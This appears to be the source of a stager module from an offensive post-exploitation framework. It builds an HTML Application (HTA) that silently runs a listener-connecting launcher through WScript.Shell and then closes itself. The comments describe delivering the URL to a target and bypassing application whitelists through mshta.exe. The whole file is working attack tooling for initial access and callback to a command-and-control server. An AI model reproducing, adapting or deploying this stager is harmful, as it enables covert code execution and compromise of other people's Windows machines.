97 lines
3.6 KiB
Python
97 lines
3.6 KiB
Python
from lib.common import helpers
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class Stager:
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def __init__(self, mainMenu, params=[]):
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self.info = {
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'Name': 'HTA',
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'Author': ['@subTee'],
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'Description': ('Generates an HTA (HyperText Application) For Internet Explorer'),
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'Comments': [
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'You will need to deliver a url to the target to launch the HTA. Often bypasses Whitelists since it is executed by mshta.exe'
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]
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}
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# any options needed by the stager, settable during runtime
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self.options = {
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# format:
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# value_name : {description, required, default_value}
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'Listener' : {
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'Description' : 'Listener to generate stager for.',
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'Required' : True,
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'Value' : ''
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},
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'StagerRetries' : {
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'Description' : 'Times for the stager to retry connecting.',
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'Required' : False,
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'Value' : '0'
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},
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'OutFile' : {
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'Description' : 'File to output HTA to, otherwise displayed on the screen.',
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'Required' : False,
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'Value' : ''
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},
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'Base64' : {
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'Description' : 'Switch. Base64 encode the output.',
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'Required' : True,
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'Value' : 'True'
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},
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'UserAgent' : {
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'Description' : 'User-agent string to use for the staging request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'Proxy' : {
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'Description' : 'Proxy to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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},
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'ProxyCreds' : {
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'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
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'Required' : False,
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'Value' : 'default'
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}
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}
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# save off a copy of the mainMenu object to access external functionality
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# like listeners/agent handlers/etc.
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self.mainMenu = mainMenu
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for param in params:
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# parameter format is [Name, Value]
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option, value = param
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if option in self.options:
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self.options[option]['Value'] = value
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def generate(self):
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# extract all of our options
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listenerName = self.options['Listener']['Value']
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base64 = self.options['Base64']['Value']
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userAgent = self.options['UserAgent']['Value']
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proxy = self.options['Proxy']['Value']
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proxyCreds = self.options['ProxyCreds']['Value']
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stagerRetries = self.options['StagerRetries']['Value']
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encode = False
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if base64.lower() == "true":
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encode = True
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# generate the launcher code
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launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=encode, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds, stagerRetries=stagerRetries)
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if launcher == "":
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print helpers.color("[!] Error in launcher command generation.")
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return ""
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else:
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code = "<html><head><script>var c= '"
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code += launcher + "'\n"
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code += "new ActiveXObject('WScript.Shell').Run(c);</script></head><body><script>self.close();</script></body></html>"
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return code
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